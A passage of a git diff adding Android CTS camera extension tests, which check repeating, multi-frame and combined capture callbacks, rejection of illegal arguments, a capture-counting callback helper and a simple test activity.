+                List<Size> extensionSizes = extensionChars.getExtensionSupportedSizes(extension,
+                        mSurfaceTexture.getClass());
+                Size maxSize = CameraTestUtils.getMaxSize(extensionSizes.toArray(new Size[0]));
+                mSurfaceTexture.setDefaultBufferSize(maxSize.getWidth(), maxSize.getHeight());
+                OutputConfiguration privateOutput = new OutputConfiguration(
+                        OutputConfiguration.SURFACE_GROUP_ID_NONE,
+                        new Surface(mSurfaceTexture));
+                List<OutputConfiguration> outputConfigs = new ArrayList<>();
+                outputConfigs.add(privateOutput);
+
+                BlockingExtensionSessionCallback sessionListener =
+                        new BlockingExtensionSessionCallback(
+                                mock(CameraExtensionSession.StateCallback.class));
+                ExtensionSessionConfiguration configuration =
+                        new ExtensionSessionConfiguration(extension, outputConfigs,
+                                new HandlerExecutor(mTestRule.getHandler()), sessionListener);
+
+                try {
+                    mTestRule.openDevice(id);
+                    CameraDevice camera = mTestRule.getCamera();
+                    camera.createExtensionSession(configuration);
+                    CameraExtensionSession extensionSession = sessionListener.waitAndGetSession(
+                            SESSION_CONFIGURE_TIMEOUT_MS);
+
+                    assertEquals("Unexpected/Invalid camera device", mTestRule.getCamera(),
+                            extensionSession.getDevice());
+                } finally {
+                    mTestRule.closeDevice(id);
+                }
+
+                try {
+                    sessionListener.getStateWaiter().waitForState(
+                            BlockingExtensionSessionCallback.SESSION_CLOSED,
+                            SESSION_CLOSE_TIMEOUT_MS);
+                    fail("should get TimeoutRuntimeException due to previously closed camera "
+                            + "device");
+                } catch (TimeoutRuntimeException e) {
+                    // Expected, per API spec we should not receive any further session callbacks
+                    // besides the device state 'onClosed' callback.
+                }
+            }
+        }
+    }
+
+    // Test case for repeating/stopRepeating on all supported extensions and expected state/capture
+    // callbacks.
+    @Test
+    public void testRepeatingCapture() throws Exception {
+        for (String id : mCameraIdsUnderTest) {
+            StaticMetadata staticMeta =
+                    new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(id));
+            if (!staticMeta.isColorCorrectionSupported()) {
+                continue;
+            }
+            updatePreviewSurfaceTexture();
+            CameraExtensionCharacteristics extensionChars =
+                    mTestRule.getCameraManager().getCameraExtensionCharacteristics(id);
+            List<Integer> supportedExtensions = extensionChars.getSupportedExtensions();
+            for (Integer extension : supportedExtensions) {
+                List<Size> extensionSizes = extensionChars.getExtensionSupportedSizes(extension,
+                        mSurfaceTexture.getClass());
+                Size maxSize =
+                        CameraTestUtils.getMaxSize(extensionSizes.toArray(new Size[0]));
+                mSurfaceTexture.setDefaultBufferSize(maxSize.getWidth(),
+                        maxSize.getHeight());
+                Surface texturedSurface = new Surface(mSurfaceTexture);
+
+                List<OutputConfiguration> outputConfigs = new ArrayList<>();
+                outputConfigs.add(new OutputConfiguration(
+                        OutputConfiguration.SURFACE_GROUP_ID_NONE, texturedSurface));
+
+                BlockingExtensionSessionCallback sessionListener =
+                        new BlockingExtensionSessionCallback(mock(
+                                CameraExtensionSession.StateCallback.class));
+                ExtensionSessionConfiguration configuration =
+                        new ExtensionSessionConfiguration(extension, outputConfigs,
+                                new HandlerExecutor(mTestRule.getHandler()),
+                                sessionListener);
+
+                try {
+                    mTestRule.openDevice(id);
+                    CameraDevice camera = mTestRule.getCamera();
+                    camera.createExtensionSession(configuration);
+                    CameraExtensionSession extensionSession =
+                            sessionListener.waitAndGetSession(
+                                    SESSION_CONFIGURE_TIMEOUT_MS);
+                    assertNotNull(extensionSession);
+
+                    CaptureRequest.Builder captureBuilder =
+                            mTestRule.getCamera().createCaptureRequest(
+                                    android.hardware.camera2.CameraDevice.TEMPLATE_PREVIEW);
+                    captureBuilder.addTarget(texturedSurface);
+                    CameraExtensionSession.ExtensionCaptureCallback captureCallbackMock =
+                            mock(CameraExtensionSession.ExtensionCaptureCallback.class);
+                    SimpleCaptureCallback simpleCaptureCallback =
+                            new SimpleCaptureCallback(captureCallbackMock);
+                    CaptureRequest request = captureBuilder.build();
+                    int sequenceId = extensionSession.setRepeatingRequest(request,
+                            new HandlerExecutor(mTestRule.getHandler()), simpleCaptureCallback);
+
+                    verify(captureCallbackMock,
+                            timeout(REPEATING_REQUEST_TIMEOUT_MS).atLeastOnce())
+                            .onCaptureStarted(eq(extensionSession), eq(request), anyLong());
+                    verify(captureCallbackMock,
+                            timeout(REPEATING_REQUEST_TIMEOUT_MS).atLeastOnce())
+                            .onCaptureProcessStarted(extensionSession, request);
+
+                    extensionSession.stopRepeating();
+
+                    verify(captureCallbackMock,
+                            timeout(MULTI_FRAME_CAPTURE_IMAGE_TIMEOUT_MS).times(1))
+                            .onCaptureSequenceCompleted(extensionSession, sequenceId);
+
+                    verify(captureCallbackMock, times(0))
+                            .onCaptureSequenceAborted(any(CameraExtensionSession.class),
+                                    anyInt());
+
+                    extensionSession.close();
+
+                    sessionListener.getStateWaiter().waitForState(
+                            BlockingExtensionSessionCallback.SESSION_CLOSED,
+                            SESSION_CLOSE_TIMEOUT_MS);
+
+                    assertEquals("The sum of all onProcessStarted and onCaptureFailed" +
+                                    " callback calls must match with the number of calls to " +
+                                    "onCaptureStarted!",
+                            simpleCaptureCallback.getTotalFramesArrived() +
+                                    simpleCaptureCallback.getTotalFramesFailed(),
+                            simpleCaptureCallback.getTotalFramesStarted());
+                    assertTrue(String.format("The last repeating request surface timestamp " +
+                                    "%d must be less than or equal to the last " +
+                                    "onCaptureStarted " +
+                                    "timestamp %d", mSurfaceTexture.getTimestamp(),
+                            simpleCaptureCallback.getLastTimestamp()),
+                            mSurfaceTexture.getTimestamp() <=
+                                    simpleCaptureCallback.getLastTimestamp());
+                } finally {
+                    mTestRule.closeDevice(id);
+                    texturedSurface.release();
+                }
+            }
+        }
+    }
+
+    // Test case for multi-frame only capture on all supported extensions and expected state
+    // callbacks. Verify still frame output.
+    @Test
+    public void testMultiFrameCapture() throws Exception {
+        final int IMAGE_COUNT = 10;
+        for (String id : mCameraIdsUnderTest) {
+            StaticMetadata staticMeta =
+                    new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(id));
+            if (!staticMeta.isColorCorrectionSupported()) {
+                continue;
+            }
+            updatePreviewSurfaceTexture();
+            CameraExtensionCharacteristics extensionChars =
+                    mTestRule.getCameraManager().getCameraExtensionCharacteristics(id);
+            List<Integer> supportedExtensions = extensionChars.getSupportedExtensions();
+            for (Integer extension : supportedExtensions) {
+                int captureFormat = ImageFormat.YUV_420_888;
+                List<Size> extensionSizes = extensionChars.getExtensionSupportedSizes(extension,
+                        captureFormat);
+                if (extensionSizes.isEmpty()) {
+                    captureFormat = ImageFormat.JPEG;
+                    extensionSizes = extensionChars.getExtensionSupportedSizes(extension,
+                            captureFormat);
+                }
+                Size maxSize = CameraTestUtils.getMaxSize(extensionSizes.toArray(new Size[0]));
+                SimpleImageReaderListener imageListener = new SimpleImageReaderListener(false, 1);
+                ImageReader extensionImageReader = CameraTestUtils.makeImageReader(maxSize,
+                        captureFormat, /*maxImages*/ 1, imageListener,
+                        mTestRule.getHandler());
+                Surface imageReaderSurface = extensionImageReader.getSurface();
+                OutputConfiguration readerOutput = new OutputConfiguration(
+                        OutputConfiguration.SURFACE_GROUP_ID_NONE, imageReaderSurface);
+                List<OutputConfiguration> outputConfigs = new ArrayList<>();
+                outputConfigs.add(readerOutput);
+
+                BlockingExtensionSessionCallback sessionListener =
+                        new BlockingExtensionSessionCallback(mock(
+                                CameraExtensionSession.StateCallback.class));
+                ExtensionSessionConfiguration configuration =
+                        new ExtensionSessionConfiguration(extension, outputConfigs,
+                                new HandlerExecutor(mTestRule.getHandler()),
+                                sessionListener);
+
+                try {
+                    mTestRule.openDevice(id);
+                    CameraDevice camera = mTestRule.getCamera();
+                    camera.createExtensionSession(configuration);
+                    CameraExtensionSession extensionSession =
+                            sessionListener.waitAndGetSession(
+                                    SESSION_CONFIGURE_TIMEOUT_MS);
+                    assertNotNull(extensionSession);
+
+                    CaptureRequest.Builder captureBuilder =
+                            mTestRule.getCamera().createCaptureRequest(
+                                    android.hardware.camera2.CameraDevice.TEMPLATE_STILL_CAPTURE);
+                    captureBuilder.addTarget(imageReaderSurface);
+                    CameraExtensionSession.ExtensionCaptureCallback captureCallback =
+                            mock(CameraExtensionSession.ExtensionCaptureCallback.class);
+
+                    for (int i = 0; i < IMAGE_COUNT; i++) {
+                        CaptureRequest request = captureBuilder.build();
+                        int sequenceId = extensionSession.capture(request,
+                                new HandlerExecutor(mTestRule.getHandler()), captureCallback);
+
+                        Image img =
+                                imageListener.getImage(MULTI_FRAME_CAPTURE_IMAGE_TIMEOUT_MS);
+                        validateImage(img, maxSize.getWidth(), maxSize.getHeight(),
+                                captureFormat, null);
+                        img.close();
+
+                        verify(captureCallback, times(1))
+                                .onCaptureStarted(eq(extensionSession), eq(request), anyLong());
+                        verify(captureCallback,
+                                timeout(MULTI_FRAME_CAPTURE_IMAGE_TIMEOUT_MS).times(1))
+                                .onCaptureProcessStarted(extensionSession, request);
+                        verify(captureCallback,
+                                timeout(MULTI_FRAME_CAPTURE_IMAGE_TIMEOUT_MS).times(1))
+                                .onCaptureSequenceCompleted(extensionSession, sequenceId);
+                    }
+
+                    verify(captureCallback, times(0))
+                            .onCaptureSequenceAborted(any(CameraExtensionSession.class),
+                                    anyInt());
+                    verify(captureCallback, times(0))
+                            .onCaptureFailed(any(CameraExtensionSession.class),
+                                    any(CaptureRequest.class));
+
+                    extensionSession.close();
+
+                    sessionListener.getStateWaiter().waitForState(
+                            BlockingExtensionSessionCallback.SESSION_CLOSED,
+                            SESSION_CLOSE_TIMEOUT_MS);
+                } finally {
+                    mTestRule.closeDevice(id);
+                    extensionImageReader.close();
+                }
+            }
+        }
+    }
+
+    // Test case combined repeating with multi frame capture on all supported extensions.
+    // Verify still frame output.
+    @Test
+    public void testRepeatingAndCaptureCombined() throws Exception {
+        for (String id : mCameraIdsUnderTest) {
+            StaticMetadata staticMeta =
+                    new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(id));
+            if (!staticMeta.isColorCorrectionSupported()) {
+                continue;
+            }
+            updatePreviewSurfaceTexture();
+            CameraExtensionCharacteristics extensionChars =
+                    mTestRule.getCameraManager().getCameraExtensionCharacteristics(id);
+            List<Integer> supportedExtensions = extensionChars.getSupportedExtensions();
+            for (Integer extension : supportedExtensions) {
+                int captureFormat = ImageFormat.YUV_420_888;
+                List<Size> captureSizes = extensionChars.getExtensionSupportedSizes(extension,
+                        captureFormat);
+                if (captureSizes.isEmpty()) {
+                    captureFormat = ImageFormat.JPEG;
+                    captureSizes = extensionChars.getExtensionSupportedSizes(extension,
+                            captureFormat);
+                }
+                Size captureMaxSize =
+                        CameraTestUtils.getMaxSize(captureSizes.toArray(new Size[0]));
+
+                SimpleImageReaderListener imageListener = new SimpleImageReaderListener(false
+                        , 1);
+                ImageReader extensionImageReader = CameraTestUtils.makeImageReader(
+                        captureMaxSize, captureFormat, /*maxImages*/ 1, imageListener,
+                        mTestRule.getHandler());
+                Surface imageReaderSurface = extensionImageReader.getSurface();
+                OutputConfiguration readerOutput = new OutputConfiguration(
+                        OutputConfiguration.SURFACE_GROUP_ID_NONE, imageReaderSurface);
+                List<OutputConfiguration> outputConfigs = new ArrayList<>();
+                outputConfigs.add(readerOutput);
+
+                // Pick a supported preview/repeating size with aspect ratio close to the
+                // multi-frame capture size
+                List<Size> repeatingSizes = extensionChars.getExtensionSupportedSizes(extension,
+                        mSurfaceTexture.getClass());
+                Size maxRepeatingSize =
+                        CameraTestUtils.getMaxSize(repeatingSizes.toArray(new Size[0]));
+                List<Size> previewSizes = getSupportedPreviewSizes(id,
+                        mTestRule.getCameraManager(),
+                        getPreviewSizeBound(mTestRule.getWindowManager(), PREVIEW_SIZE_BOUND));
+                List<Size> supportedPreviewSizes =
+                        previewSizes.stream().filter(repeatingSizes::contains).collect(
+                                Collectors.toList());
+                if (!supportedPreviewSizes.isEmpty()) {
+                    float targetAr =
+                            ((float) captureMaxSize.getWidth()) / captureMaxSize.getHeight();
+                    for (Size s : supportedPreviewSizes) {
+                        float currentAr = ((float) s.getWidth()) / s.getHeight();
+                        if (Math.abs(targetAr - currentAr) < 0.01) {
+                            maxRepeatingSize = s;
+                            break;
+                        }
+                    }
+                }
+
+                mSurfaceTexture.setDefaultBufferSize(maxRepeatingSize.getWidth(),
+                        maxRepeatingSize.getHeight());
+                Surface texturedSurface = new Surface(mSurfaceTexture);
+                outputConfigs.add(new OutputConfiguration(
+                        OutputConfiguration.SURFACE_GROUP_ID_NONE, texturedSurface));
+
+                BlockingExtensionSessionCallback sessionListener =
+                        new BlockingExtensionSessionCallback(mock(
+                                CameraExtensionSession.StateCallback.class));
+                ExtensionSessionConfiguration configuration =
+                        new ExtensionSessionConfiguration(extension, outputConfigs,
+                                new HandlerExecutor(mTestRule.getHandler()),
+                                sessionListener);
+                try {
+                    mTestRule.openDevice(id);
+                    CameraDevice camera = mTestRule.getCamera();
+                    camera.createExtensionSession(configuration);
+                    CameraExtensionSession extensionSession =
+                            sessionListener.waitAndGetSession(
+                                    SESSION_CONFIGURE_TIMEOUT_MS);
+                    assertNotNull(extensionSession);
+
+                    CaptureRequest.Builder captureBuilder =
+                            mTestRule.getCamera().createCaptureRequest(
+                                    android.hardware.camera2.CameraDevice.TEMPLATE_PREVIEW);
+                    captureBuilder.addTarget(texturedSurface);
+                    CameraExtensionSession.ExtensionCaptureCallback repeatingCallbackMock =
+                            mock(CameraExtensionSession.ExtensionCaptureCallback.class);
+                    SimpleCaptureCallback repeatingCaptureCallback =
+                            new SimpleCaptureCallback(repeatingCallbackMock);
+                    CaptureRequest repeatingRequest = captureBuilder.build();
+                    int repeatingSequenceId =
+                            extensionSession.setRepeatingRequest(repeatingRequest,
+                                    new HandlerExecutor(mTestRule.getHandler()),
+                                    repeatingCaptureCallback);
+
+                    Thread.sleep(REPEATING_REQUEST_TIMEOUT_MS);
+
+                    verify(repeatingCallbackMock, atLeastOnce())
+                            .onCaptureStarted(eq(extensionSession), eq(repeatingRequest),
+                                    anyLong());
+                    verify(repeatingCallbackMock, atLeastOnce())
+                            .onCaptureProcessStarted(extensionSession, repeatingRequest);
+
+                    captureBuilder = mTestRule.getCamera().createCaptureRequest(
+                            android.hardware.camera2.CameraDevice.TEMPLATE_STILL_CAPTURE);
+                    captureBuilder.addTarget(imageReaderSurface);
+                    CameraExtensionSession.ExtensionCaptureCallback captureCallback =
+                            mock(CameraExtensionSession.ExtensionCaptureCallback.class);
+
+                    CaptureRequest captureRequest = captureBuilder.build();
+                    int captureSequenceId = extensionSession.capture(captureRequest,
+                            new HandlerExecutor(mTestRule.getHandler()), captureCallback);
+
+                    Image img =
+                            imageListener.getImage(MULTI_FRAME_CAPTURE_IMAGE_TIMEOUT_MS);
+                    validateImage(img, captureMaxSize.getWidth(),
+                            captureMaxSize.getHeight(), captureFormat, null);
+                    img.close();
+
+                    verify(captureCallback, times(1))
+                            .onCaptureStarted(eq(extensionSession), eq(captureRequest),
+                                    anyLong());
+                    verify(captureCallback, timeout(MULTI_FRAME_CAPTURE_IMAGE_TIMEOUT_MS).times(1))
+                            .onCaptureProcessStarted(extensionSession, captureRequest);
+                    verify(captureCallback, timeout(MULTI_FRAME_CAPTURE_IMAGE_TIMEOUT_MS).times(1))
+                            .onCaptureSequenceCompleted(extensionSession,
+                                    captureSequenceId);
+                    verify(captureCallback, times(0))
+                            .onCaptureSequenceAborted(any(CameraExtensionSession.class),
+                                    anyInt());
+                    verify(captureCallback, times(0))
+                            .onCaptureFailed(any(CameraExtensionSession.class),
+                                    any(CaptureRequest.class));
+
+                    extensionSession.stopRepeating();
+
+                    verify(repeatingCallbackMock,
+                            timeout(MULTI_FRAME_CAPTURE_IMAGE_TIMEOUT_MS).times(1))
+                            .onCaptureSequenceCompleted(extensionSession, repeatingSequenceId);
+
+                    verify(repeatingCallbackMock, times(0))
+                            .onCaptureSequenceAborted(any(CameraExtensionSession.class),
+                                    anyInt());
+
+                    extensionSession.close();
+
+                    sessionListener.getStateWaiter().waitForState(
+                            BlockingExtensionSessionCallback.SESSION_CLOSED,
+                            SESSION_CLOSE_TIMEOUT_MS);
+
+                    assertEquals("The sum of onCaptureProcessStarted and onCaptureFailed" +
+                                    " callbacks must match with the number of calls to " +
+                                    "onCaptureStarted!",
+                            repeatingCaptureCallback.getTotalFramesArrived() +
+                                    repeatingCaptureCallback.getTotalFramesFailed(),
+                            repeatingCaptureCallback.getTotalFramesStarted());
+                    assertTrue(String.format("The last repeating request surface timestamp " +
+                                    "%d must be less than or equal to the last " +
+                                    "onCaptureStarted " +
+                                    "timestamp %d", mSurfaceTexture.getTimestamp(),
+                            repeatingCaptureCallback.getLastTimestamp()),
+                            mSurfaceTexture.getTimestamp() <=
+                                    repeatingCaptureCallback.getLastTimestamp());
+
+                } finally {
+                    mTestRule.closeDevice(id);
+                    texturedSurface.release();
+                    extensionImageReader.close();
+                }
+            }
+        }
+    }
+
+    public static class SimpleCaptureCallback
+            extends CameraExtensionSession.ExtensionCaptureCallback {
+        private long mLastTimestamp = -1;
+        private int mNumFramesArrived = 0;
+        private int mNumFramesStarted = 0;
+        private int mNumFramesFailed = 0;
+        private boolean mNonIncreasingTimestamps = false;
+        private final CameraExtensionSession.ExtensionCaptureCallback mProxy;
+
+        public SimpleCaptureCallback(CameraExtensionSession.ExtensionCaptureCallback proxy) {
+            mProxy = proxy;
+        }
+
+        @Override
+        public void onCaptureStarted(CameraExtensionSession session,
+                                     CaptureRequest request, long timestamp) {
+
+            if (timestamp < mLastTimestamp) {
+                mNonIncreasingTimestamps = true;
+            }
+            mLastTimestamp = timestamp;
+            mNumFramesStarted++;
+            if (mProxy != null) {
+                mProxy.onCaptureStarted(session, request, timestamp);
+            }
+        }
+
+        @Override
+        public void onCaptureProcessStarted(CameraExtensionSession session,
+                                            CaptureRequest request) {
+            mNumFramesArrived++;
+            if (mProxy != null) {
+                mProxy.onCaptureProcessStarted(session, request);
+            }
+        }
+
+        @Override
+        public void onCaptureFailed(CameraExtensionSession session,
+                                    CaptureRequest request) {
+            mNumFramesFailed++;
+            if (mProxy != null) {
+                mProxy.onCaptureFailed(session, request);
+            }
+        }
+
+        @Override
+        public void onCaptureSequenceAborted(CameraExtensionSession session,
+                                             int sequenceId) {
+            if (mProxy != null) {
+                mProxy.onCaptureSequenceAborted(session, sequenceId);
+            }
+        }
+
+        @Override
+        public void onCaptureSequenceCompleted(CameraExtensionSession session,
+                                               int sequenceId) {
+            if (mProxy != null) {
+                mProxy.onCaptureSequenceCompleted(session, sequenceId);
+            }
+        }
+
+        public int getTotalFramesArrived() {
+            return mNumFramesArrived;
+        }
+
+        public int getTotalFramesStarted() {
+            return mNumFramesStarted;
+        }
+
+        public int getTotalFramesFailed() {
+            return mNumFramesFailed;
+        }
+
+        public long getLastTimestamp() throws IllegalStateException {
+            if (mNonIncreasingTimestamps) {
+                throw new IllegalStateException("Non-monotonically increasing timestamps!");
+            }
+            return mLastTimestamp;
+        }
+    }
+
+    @Test
+    public void testIllegalArguments() throws Exception {
+        for (String id : mCameraIdsUnderTest) {
+            StaticMetadata staticMeta =
+                    new StaticMetadata(mTestRule.getCameraManager().getCameraCharacteristics(id));
+            if (!staticMeta.isColorCorrectionSupported()) {
+                continue;
+            }
+            updatePreviewSurfaceTexture();
+            CameraExtensionCharacteristics extensionChars =
+                    mTestRule.getCameraManager().getCameraExtensionCharacteristics(id);
+            List<Integer> supportedExtensions = extensionChars.getSupportedExtensions();
+            for (Integer extension : supportedExtensions) {
+                List<OutputConfiguration> outputConfigs = new ArrayList<>();
+                BlockingExtensionSessionCallback sessionListener =
+                        new BlockingExtensionSessionCallback(mock(
+                                CameraExtensionSession.StateCallback.class));
+                ExtensionSessionConfiguration configuration =
+                        new ExtensionSessionConfiguration(extension, outputConfigs,
+                                new HandlerExecutor(mTestRule.getHandler()),
+                                sessionListener);
+
+                try {
+                    mTestRule.openDevice(id);
+                    CameraDevice camera = mTestRule.getCamera();
+                    try {
+                        camera.createExtensionSession(configuration);
+                        fail("should get IllegalArgumentException due to absent output surfaces");
+                    } catch (IllegalArgumentException e) {
+                        // Expected, we can proceed further
+                    }
+
+                    int captureFormat = ImageFormat.YUV_420_888;
+                    List<Size> captureSizes = extensionChars.getExtensionSupportedSizes(extension,
+                            captureFormat);
+                    if (captureSizes.isEmpty()) {
+                        captureFormat = ImageFormat.JPEG;
+                        captureSizes = extensionChars.getExtensionSupportedSizes(extension,
+                                captureFormat);
+                    }
+                    Size captureMaxSize =
+                            CameraTestUtils.getMaxSize(captureSizes.toArray(new Size[0]));
+
+                    mSurfaceTexture.setDefaultBufferSize(1, 1);
+                    Surface texturedSurface = new Surface(mSurfaceTexture);
+                    outputConfigs.add(new OutputConfiguration(
+                            OutputConfiguration.SURFACE_GROUP_ID_NONE, texturedSurface));
+                    configuration = new ExtensionSessionConfiguration(extension, outputConfigs,
+                            new HandlerExecutor(mTestRule.getHandler()), sessionListener);
+
+                    try {
+                        camera.createExtensionSession(configuration);
+                        fail("should get IllegalArgumentException due to illegal repeating request"
+                                + " output surface");
+                    } catch (IllegalArgumentException e) {
+                        // Expected, we can proceed further
+                    } finally {
+                        outputConfigs.clear();
+                    }
+
+                    SimpleImageReaderListener imageListener = new SimpleImageReaderListener(false,
+                            1);
+                    Size invalidCaptureSize = new Size(1, 1);
+                    ImageReader extensionImageReader = CameraTestUtils.makeImageReader(
+                            invalidCaptureSize, captureFormat, /*maxImages*/ 1,
+                            imageListener, mTestRule.getHandler());
+                    Surface imageReaderSurface = extensionImageReader.getSurface();
+                    OutputConfiguration readerOutput = new OutputConfiguration(
+                            OutputConfiguration.SURFACE_GROUP_ID_NONE, imageReaderSurface);
+                    outputConfigs.add(readerOutput);
+                    configuration = new ExtensionSessionConfiguration(extension, outputConfigs,
+                            new HandlerExecutor(mTestRule.getHandler()), sessionListener);
+
+                    try{
+                        camera.createExtensionSession(configuration);
+                        fail("should get IllegalArgumentException due to illegal multi-frame"
+                                + " request output surface");
+                    } catch (IllegalArgumentException e) {
+                        // Expected, we can proceed further
+                    } finally {
+                        outputConfigs.clear();
+                        extensionImageReader.close();
+                    }
+
+                    // Pick a supported preview/repeating size with aspect ratio close to the
+                    // multi-frame capture size
+                    List<Size> repeatingSizes = extensionChars.getExtensionSupportedSizes(extension,
+                            mSurfaceTexture.getClass());
+                    Size maxRepeatingSize =
+                            CameraTestUtils.getMaxSize(repeatingSizes.toArray(new Size[0]));
+                    List<Size> previewSizes = getSupportedPreviewSizes(id,
+                            mTestRule.getCameraManager(),
+                            getPreviewSizeBound(mTestRule.getWindowManager(), PREVIEW_SIZE_BOUND));
+                    List<Size> supportedPreviewSizes =
+                            previewSizes.stream().filter(repeatingSizes::contains).collect(
+                                    Collectors.toList());
+                    if (!supportedPreviewSizes.isEmpty()) {
+                        float targetAr =
+                                ((float) captureMaxSize.getWidth()) / captureMaxSize.getHeight();
+                        for (Size s : supportedPreviewSizes) {
+                            float currentAr = ((float) s.getWidth()) / s.getHeight();
+                            if (Math.abs(targetAr - currentAr) < 0.01) {
+                                maxRepeatingSize = s;
+                                break;
+                            }
+                        }
+                    }
+
+                    imageListener = new SimpleImageReaderListener(false, 1);
+                    extensionImageReader = CameraTestUtils.makeImageReader(captureMaxSize,
+                            captureFormat, /*maxImages*/ 1, imageListener, mTestRule.getHandler());
+                    imageReaderSurface = extensionImageReader.getSurface();
+                    readerOutput = new OutputConfiguration(OutputConfiguration.SURFACE_GROUP_ID_NONE,
+                            imageReaderSurface);
+                    outputConfigs.add(readerOutput);
+
+                    mSurfaceTexture.setDefaultBufferSize(maxRepeatingSize.getWidth(),
+                            maxRepeatingSize.getHeight());
+                    texturedSurface = new Surface(mSurfaceTexture);
+                    outputConfigs.add(new OutputConfiguration(
+                            OutputConfiguration.SURFACE_GROUP_ID_NONE, texturedSurface));
+
+                    configuration = new ExtensionSessionConfiguration(extension, outputConfigs,
+                            new HandlerExecutor(mTestRule.getHandler()), sessionListener);
+                    camera.createExtensionSession(configuration);
+                    CameraExtensionSession extensionSession =
+                            sessionListener.waitAndGetSession(
+                                    SESSION_CONFIGURE_TIMEOUT_MS);
+                    assertNotNull(extensionSession);
+
+                    CaptureRequest.Builder captureBuilder =
+                            mTestRule.getCamera().createCaptureRequest(
+                                    android.hardware.camera2.CameraDevice.TEMPLATE_PREVIEW);
+                    captureBuilder.addTarget(imageReaderSurface);
+                    CameraExtensionSession.ExtensionCaptureCallback repeatingCallbackMock =
+                            mock(CameraExtensionSession.ExtensionCaptureCallback.class);
+                    SimpleCaptureCallback repeatingCaptureCallback =
+                            new SimpleCaptureCallback(repeatingCallbackMock);
+                    CaptureRequest repeatingRequest = captureBuilder.build();
+                    try {
+                        extensionSession.setRepeatingRequest(repeatingRequest,
+                                new HandlerExecutor(mTestRule.getHandler()),
+                                repeatingCaptureCallback);
+                        fail("should get IllegalArgumentException due to illegal repeating request"
+                                + " output target");
+                    } catch (IllegalArgumentException e) {
+                        // Expected, we can proceed further
+                    }
+
+                    captureBuilder = mTestRule.getCamera().createCaptureRequest(
+                            android.hardware.camera2.CameraDevice.TEMPLATE_STILL_CAPTURE);
+                    captureBuilder.addTarget(texturedSurface);
+                    CameraExtensionSession.ExtensionCaptureCallback captureCallback =
+                            mock(CameraExtensionSession.ExtensionCaptureCallback.class);
+
+                    CaptureRequest captureRequest = captureBuilder.build();
+                    try {
+                        extensionSession.capture(captureRequest,
+                                new HandlerExecutor(mTestRule.getHandler()), captureCallback);
+                        fail("should get IllegalArgumentException due to illegal multi-frame"
+                                + " request output target");
+                    } catch (IllegalArgumentException e) {
+                        // Expected, we can proceed further
+                    }
+
+                    extensionSession.close();
+
+                    sessionListener.getStateWaiter().waitForState(
+                            BlockingExtensionSessionCallback.SESSION_CLOSED,
+                            SESSION_CLOSE_TIMEOUT_MS);
+
+                    texturedSurface.release();
+                    extensionImageReader.close();
+
+                    try {
+                        extensionSession.setRepeatingRequest(captureRequest,
+                                new HandlerExecutor(mTestRule.getHandler()), captureCallback);
+                        fail("should get IllegalStateException due to closed session");
+                    } catch (IllegalStateException e) {
+                        // Expected, we can proceed further
+                    }
+
+                    try {
+                        extensionSession.stopRepeating();
+                        fail("should get IllegalStateException due to closed session");
+                    } catch (IllegalStateException e) {
+                        // Expected, we can proceed further
+                    }
+
+                    try {
+                        extensionSession.capture(captureRequest,
+                                new HandlerExecutor(mTestRule.getHandler()), captureCallback);
+                        fail("should get IllegalStateException due to closed session");
+                    } catch (IllegalStateException e) {
+                        // Expected, we can proceed further
+                    }
+                } finally {
+                    mTestRule.closeDevice(id);
+                }
+            }
+        }
+    }
+}
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraExtensionTestActivity.java b/tests/camera/src/android/hardware/camera2/cts/CameraExtensionTestActivity.java
new file mode 100644
index 0000000..ca26284
--- /dev/null
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraExtensionTestActivity.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.camera2.cts;
+
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.TextureView;
+
+public class CameraExtensionTestActivity extends Activity {
+    private TextureView mTextureView;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        mTextureView = new TextureView(this);
+        setContentView(mTextureView);
+    }
+
+    public TextureView getTextureView() {
+        return mTextureView;
+    }
+}
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
index c4efba7..87b132d 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
@@ -641,6 +641,19 @@
                 otherQueue.size() == 0);
     }
 
+    private void verifySingleAvailabilityCbsReceived(LinkedBlockingQueue<String> expectedEventQueue,
+            LinkedBlockingQueue<String> unExpectedEventQueue, String expectedId,
+            String expectedStr, String unExpectedStr) throws Exception {
+        String candidateId = expectedEventQueue.poll(AVAILABILITY_TIMEOUT_MS,
+                java.util.concurrent.TimeUnit.MILLISECONDS);
+        assertTrue("Received " + expectedStr + " notice for wrong ID, " +
+                "expected " + expectedId + ", got " + candidateId, expectedId.equals(candidateId));
+        assertTrue("Received >  1 " + expectedStr + " callback for id " + expectedId,
+                expectedEventQueue.size() == 0);
+        assertTrue(unExpectedStr + " events received unexpectedly",
+                unExpectedEventQueue.size() == 0);
+    }
+
     private void testCameraManagerListenerCallbacks(boolean useExecutor) throws Exception {
 
         final LinkedBlockingQueue<String> availableEventQueue = new LinkedBlockingQueue<>();
@@ -652,20 +665,17 @@
         final LinkedBlockingQueue<Pair<String, String>> unavailablePhysicalCamEventQueue =
                 new LinkedBlockingQueue<>();
 
+        final LinkedBlockingQueue<String> onCameraOpenedEventQueue = new LinkedBlockingQueue<>();
+        final LinkedBlockingQueue<String> onCameraClosedEventQueue = new LinkedBlockingQueue<>();
+
         CameraManager.AvailabilityCallback ac = new CameraManager.AvailabilityCallback() {
             @Override
             public void onCameraAvailable(String cameraId) {
-                try {
-                    // When we're testing system cameras, we don't list non system cameras in the
-                    // camera id list as mentioned in Camera2ParameterizedTest.java
-                    if (mAdoptShellPerm &&
